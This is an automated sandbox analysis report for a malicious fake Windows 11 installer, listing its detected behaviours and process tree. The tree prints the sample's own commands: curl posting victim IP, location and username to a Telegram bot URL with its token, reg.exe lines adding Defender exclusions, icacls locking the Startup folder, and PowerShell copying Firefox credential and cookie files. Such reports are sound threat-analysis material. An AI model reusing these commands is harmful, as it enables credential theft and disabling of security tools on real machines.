caa8ea5f119085a9bc0f33b8f1a0ad80b6d4a9b52050f03f11bc539ebdc88534

Analysis

max time kernel
151s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
24/04/2022, 09:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
windows11-setup_11_67721.exe
Size 34.1MB
Sample220424-lc2m4adbdm
SHA256 caa8ea5f119085a9bc0f33b8f1a0ad80b6d4a9b52050f03f11bc539ebdc88534
MD5 d6026535a8208484ef914271c3dc9f31
SHA1 f883e5cc08c774fb9955d23a03c456391a4e458b
SHA512 bb0e46d1f20fc917d2de458fa144cdd6158ff765526af25776056bb4e930c793ed590f4892a0e4ca718fa549949c68f091077ebce72f0bf17628df0c302846af
MD5 SHA1 SHA512

Score

10^/10

discovery evasion ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender notification settings 3 TTPs 3 IoCs

evasion trojan

Modify Existing Service

T1031

Modify Registry

T1112

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS\dIsABLEenHancedNotIfICatioNs = "1"	reg.exe
Key created	\REGISTRY\MACHINE\sOFTWARe\micRoSOft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs

description	pid	Process	procid_target
PID 3960 created 1648	3960	svchost.exe	162
PID 3960 created 1564	3960	svchost.exe	166
PID 3960 created 208	3960	svchost.exe	167
PID 3960 created 2612	3960	svchost.exe	172
PID 3960 created 4876	3960	svchost.exe	173
PID 3960 created 288	3960	svchost.exe	177
PID 3960 created 3216	3960	svchost.exe	179
PID 3960 created 556	3960	svchost.exe	183

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\DRIVERS\ETC\HOSTS	cmd.exe

Executes dropped EXE 17 IoCs

pid	Process
5044	windows11-setup_11_67721.tmp
4168	windows11-setup_11_67721.tmp
3724	yb.exe
1648	rp.exe
1564	rp.exe
208	rp.exe
772	rp.exe
2612	rp.exe
4876	rp.exe
2908	rp.exe
288	rp.exe
3216	rp.exe
4560	rp.exe
556	rp.exe
1368	rp.exe
4232	Windows11InstaIIationAssistant.scr
4880	Windows11InstaIIationAssistant.sCr

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	windows11-setup_11_67721.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	Windows11InstaIIationAssistant.sCr

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows11InstallationAssistant.lnk	windows11-setup_11_67721.tmp

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2604	icacls.exe
3408	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ipINfO.iO

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4232 set thread context of 4880	4232	Windows11InstaIIationAssistant.scr	204

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Windows11InstaIIationAssistant.sCr

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Windows11InstaIIationAssistant.sCr

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
3808	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5032	taskkill.exe

Modifies data under HKEY_USERS 20 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rp.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
4168	windows11-setup_11_67721.tmp
4168	windows11-setup_11_67721.tmp
1648	rp.exe
1648	rp.exe
1648	rp.exe
1648	rp.exe
1564	rp.exe
1564	rp.exe
1564	rp.exe
1564	rp.exe
208	rp.exe
208	rp.exe
208	rp.exe
208	rp.exe
2612	rp.exe
2612	rp.exe
2612	rp.exe
2612	rp.exe
4876	rp.exe
4876	rp.exe
4876	rp.exe
4876	rp.exe
288	rp.exe
288	rp.exe
288	rp.exe
288	rp.exe
3216	rp.exe
3216	rp.exe
3216	rp.exe
3216	rp.exe
556	rp.exe
556	rp.exe
556	rp.exe
556	rp.exe
3760	powershell.exe
3760	powershell.exe
1164	powershell.exe
1164	powershell.exe
276	powershell.exe
276	powershell.exe
4812	powershell.exe
4812	powershell.exe
4456	powershell.exe
4456	powershell.exe
4180	powershell.exe
4180	powershell.exe
3712	powershell.exe
3712	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5032	taskkill.exe
Token: SeBackupPrivilege	2516	vssvc.exe
Token: SeRestorePrivilege	2516	vssvc.exe
Token: SeAuditPrivilege	2516	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3364	WMIC.exe
Token: SeSecurityPrivilege	3364	WMIC.exe
Token: SeTakeOwnershipPrivilege	3364	WMIC.exe
Token: SeLoadDriverPrivilege	3364	WMIC.exe
Token: SeSystemProfilePrivilege	3364	WMIC.exe
Token: SeSystemtimePrivilege	3364	WMIC.exe
Token: SeProfSingleProcessPrivilege	3364	WMIC.exe
Token: SeIncBasePriorityPrivilege	3364	WMIC.exe
Token: SeCreatePagefilePrivilege	3364	WMIC.exe
Token: SeBackupPrivilege	3364	WMIC.exe
Token: SeRestorePrivilege	3364	WMIC.exe
Token: SeShutdownPrivilege	3364	WMIC.exe
Token: SeDebugPrivilege	3364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3364	WMIC.exe
Token: SeRemoteShutdownPrivilege	3364	WMIC.exe
Token: SeUndockPrivilege	3364	WMIC.exe
Token: SeManageVolumePrivilege	3364	WMIC.exe
Token: 33	3364	WMIC.exe
Token: 34	3364	WMIC.exe
Token: 35	3364	WMIC.exe
Token: 36	3364	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3364	WMIC.exe
Token: SeSecurityPrivilege	3364	WMIC.exe
Token: SeTakeOwnershipPrivilege	3364	WMIC.exe
Token: SeLoadDriverPrivilege	3364	WMIC.exe
Token: SeSystemProfilePrivilege	3364	WMIC.exe
Token: SeSystemtimePrivilege	3364	WMIC.exe
Token: SeProfSingleProcessPrivilege	3364	WMIC.exe
Token: SeIncBasePriorityPrivilege	3364	WMIC.exe
Token: SeCreatePagefilePrivilege	3364	WMIC.exe
Token: SeBackupPrivilege	3364	WMIC.exe
Token: SeRestorePrivilege	3364	WMIC.exe
Token: SeShutdownPrivilege	3364	WMIC.exe
Token: SeDebugPrivilege	3364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3364	WMIC.exe
Token: SeRemoteShutdownPrivilege	3364	WMIC.exe
Token: SeUndockPrivilege	3364	WMIC.exe
Token: SeManageVolumePrivilege	3364	WMIC.exe
Token: 33	3364	WMIC.exe
Token: 34	3364	WMIC.exe
Token: 35	3364	WMIC.exe
Token: 36	3364	WMIC.exe
Token: SeSecurityPrivilege	548	msiexec.exe
Token: SeDebugPrivilege	1648	rp.exe
Token: SeAssignPrimaryTokenPrivilege	1648	rp.exe
Token: SeIncreaseQuotaPrivilege	1648	rp.exe
Token: 0	1648	rp.exe
Token: SeTcbPrivilege	3960	svchost.exe
Token: SeTcbPrivilege	3960	svchost.exe
Token: SeDebugPrivilege	1564	rp.exe
Token: SeAssignPrimaryTokenPrivilege	1564	rp.exe
Token: SeIncreaseQuotaPrivilege	1564	rp.exe
Token: SeDebugPrivilege	208	rp.exe
Token: SeAssignPrimaryTokenPrivilege	208	rp.exe
Token: SeIncreaseQuotaPrivilege	208	rp.exe
Token: 0	208	rp.exe
Token: SeDebugPrivilege	2612	rp.exe
Token: SeAssignPrimaryTokenPrivilege	2612	rp.exe
Token: SeIncreaseQuotaPrivilege	2612	rp.exe
Token: SeDebugPrivilege	4876	rp.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4168	windows11-setup_11_67721.tmp

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4232	Windows11InstaIIationAssistant.scr

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 208 wrote to memory of 5044	208	windows11-setup_11_67721.exe	85
PID 208 wrote to memory of 5044	208	windows11-setup_11_67721.exe	85
PID 208 wrote to memory of 5044	208	windows11-setup_11_67721.exe	85
PID 5044 wrote to memory of 4348	5044	windows11-setup_11_67721.tmp	86
PID 5044 wrote to memory of 4348	5044	windows11-setup_11_67721.tmp	86
PID 5044 wrote to memory of 4348	5044	windows11-setup_11_67721.tmp	86
PID 4348 wrote to memory of 4168	4348	windows11-setup_11_67721.exe	87
PID 4348 wrote to memory of 4168	4348	windows11-setup_11_67721.exe	87
PID 4348 wrote to memory of 4168	4348	windows11-setup_11_67721.exe	87
PID 4168 wrote to memory of 5032	4168	windows11-setup_11_67721.tmp	90
PID 4168 wrote to memory of 5032	4168	windows11-setup_11_67721.tmp	90
PID 4168 wrote to memory of 5032	4168	windows11-setup_11_67721.tmp	90
PID 4168 wrote to memory of 3408	4168	windows11-setup_11_67721.tmp	93
PID 4168 wrote to memory of 3408	4168	windows11-setup_11_67721.tmp	93
PID 4168 wrote to memory of 3408	4168	windows11-setup_11_67721.tmp	93
PID 4168 wrote to memory of 3724	4168	windows11-setup_11_67721.tmp	95
PID 4168 wrote to memory of 3724	4168	windows11-setup_11_67721.tmp	95
PID 464 wrote to memory of 3572	464	WScript.exe	99
PID 464 wrote to memory of 3572	464	WScript.exe	99
PID 3572 wrote to memory of 2216	3572	cmd.exe	101
PID 3572 wrote to memory of 2216	3572	cmd.exe	101
PID 3572 wrote to memory of 4628	3572	cmd.exe	102
PID 3572 wrote to memory of 4628	3572	cmd.exe	102
PID 3572 wrote to memory of 4392	3572	cmd.exe	103
PID 3572 wrote to memory of 4392	3572	cmd.exe	103
PID 3572 wrote to memory of 4932	3572	cmd.exe	104
PID 3572 wrote to memory of 4932	3572	cmd.exe	104
PID 3572 wrote to memory of 3020	3572	cmd.exe	105
PID 3572 wrote to memory of 3020	3572	cmd.exe	105
PID 3572 wrote to memory of 4796	3572	cmd.exe	106
PID 3572 wrote to memory of 4796	3572	cmd.exe	106
PID 3572 wrote to memory of 1600	3572	cmd.exe	107
PID 3572 wrote to memory of 1600	3572	cmd.exe	107
PID 3572 wrote to memory of 4072	3572	cmd.exe	108
PID 3572 wrote to memory of 4072	3572	cmd.exe	108
PID 3572 wrote to memory of 4896	3572	cmd.exe	109
PID 3572 wrote to memory of 4896	3572	cmd.exe	109
PID 3572 wrote to memory of 748	3572	cmd.exe	110
PID 3572 wrote to memory of 748	3572	cmd.exe	110
PID 3572 wrote to memory of 4800	3572	cmd.exe	111
PID 3572 wrote to memory of 4800	3572	cmd.exe	111
PID 3572 wrote to memory of 4396	3572	cmd.exe	112
PID 3572 wrote to memory of 4396	3572	cmd.exe	112
PID 3572 wrote to memory of 4648	3572	cmd.exe	113
PID 3572 wrote to memory of 4648	3572	cmd.exe	113
PID 3572 wrote to memory of 4560	3572	cmd.exe	114
PID 3572 wrote to memory of 4560	3572	cmd.exe	114
PID 3572 wrote to memory of 4192	3572	cmd.exe	115
PID 3572 wrote to memory of 4192	3572	cmd.exe	115
PID 3572 wrote to memory of 1924	3572	cmd.exe	116
PID 3572 wrote to memory of 1924	3572	cmd.exe	116
PID 3572 wrote to memory of 2332	3572	cmd.exe	117
PID 3572 wrote to memory of 2332	3572	cmd.exe	117
PID 3572 wrote to memory of 4516	3572	cmd.exe	118
PID 3572 wrote to memory of 4516	3572	cmd.exe	118
PID 3572 wrote to memory of 4444	3572	cmd.exe	119
PID 3572 wrote to memory of 4444	3572	cmd.exe	119
PID 3572 wrote to memory of 1620	3572	cmd.exe	121
PID 3572 wrote to memory of 1620	3572	cmd.exe	121
PID 3572 wrote to memory of 388	3572	cmd.exe	122
PID 3572 wrote to memory of 388	3572	cmd.exe	122
PID 3572 wrote to memory of 244	3572	cmd.exe	123
PID 3572 wrote to memory of 244	3572	cmd.exe	123
PID 3572 wrote to memory of 3984	3572	cmd.exe	124

C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe
"C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:208
- C:\Users\Admin\AppData\Local\Temp\is-8QTGR.tmp\windows11-setup_11_67721.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-8QTGR.tmp\windows11-setup_11_67721.tmp" /SL5="$C01CC,11099401,820224,C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe
    "C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe" /verysilent /sp-
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Users\Admin\AppData\Local\Temp\is-ALBQH.tmp\windows11-setup_11_67721.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-ALBQH.tmp\windows11-setup_11_67721.tmp" /SL5="$D01CC,11099401,820224,C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe" /verysilent /sp-
      4⤵
      Executes dropped EXE
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4168
    - - C:\Windows\SysWOW64\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /im "Windows11InstaIIationAssistant.scr"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5032
    - - C:\Windows\SysWOW64\icacls.exe
        
        "icacls.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /remove:d everyone /T /C
        5⤵
        Modifies file permissions
        
        PID:3408
    - - C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\yb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\yb.exe"
        5⤵
        Executes dropped EXE
        
        PID:3724
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\lg34yu93.cmd""
        5⤵
        
        PID:2332
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s ipINfO.iO/ip
        6⤵
        
        PID:4976
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s ipINfO.iO/ip
        7⤵
        
        PID:4760
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s IPinFo.io/city
        6⤵
        
        PID:1400
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s IPinFo.io/city
        7⤵
        
        PID:2040
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s IPINFo.Io/country
        6⤵
        
        PID:1780
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s IPINFo.Io/country
        7⤵
        
        PID:644
      - C:\Windows\SysWOW64\curl.exe
        
        curl --insecure --data chat_id=1476438440 --data-urlencode "text="IP-address:" 154.61.71.51, "Country:" NL, "City:" Aalsmeerderbrug, "UserName:" Admin, "Date:" Sun 04/24/2022, 9:24:30" "https://api.telegram.org/bot5213667864:AAGWQeK8-vjSj6Gg9FYQcQWmwyV6UyPtw_4/sendMessage"
        6⤵
        
        PID:1744
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\slt5hdy83.cmd""
        5⤵
        
        PID:4544
      - C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1648
        
        C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1564
        
        C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:772
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        9⤵
        
        PID:3084
      - C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:208
        
        C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2612
        
        C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2908
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        9⤵
        
        PID:1876
      - C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4876
        
        C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:288
        
        C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4560
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        9⤵
        
        PID:3400
      - C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3216
        
        C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:556
        
        C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FE3E.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:1368
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        9⤵
        
        PID:932
    - - C:\Windows\SysWOW64\icacls.exe
        
        "icacls.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny everyone:(DE,DC) /T /C
        5⤵
        Modifies file permissions
        
        PID:2604
    - - C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr
        
        "C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of SetWindowsHookEx
        
        PID:4232
      - C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.sCr
        
        "C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.sCr"
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/elcekldg.default-release\logins.json\" \"C:\Users\Admin\AppData\Local\Temp\u52p7pz4240619421.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/elcekldg.default-release\key3.db\" \"C:\Users\Admin\AppData\Local\Temp\bih0xt1qf8cry240619421.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/elcekldg.default-release\key4.db\" \"C:\Users\Admin\AppData\Local\Temp\i9s2olk1r1tps0w2240619421.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/elcekldg.default-release\cert9.db\" \"C:\Users\Admin\AppData\Local\Temp\ocy5cd139tpp3b240619421.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/elcekldg.default-release\prefs.js\" \"C:\Users\Admin\AppData\Local\Temp\acpwgeysukr8pd8240619421.tmp\" -Force"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/elcekldg.default-release\formhistory.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\av70mi3b5vcq240633546.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/elcekldg.default-release\cookies.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\j4n7mhhcwywd301240633546.tmp\" -Force"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
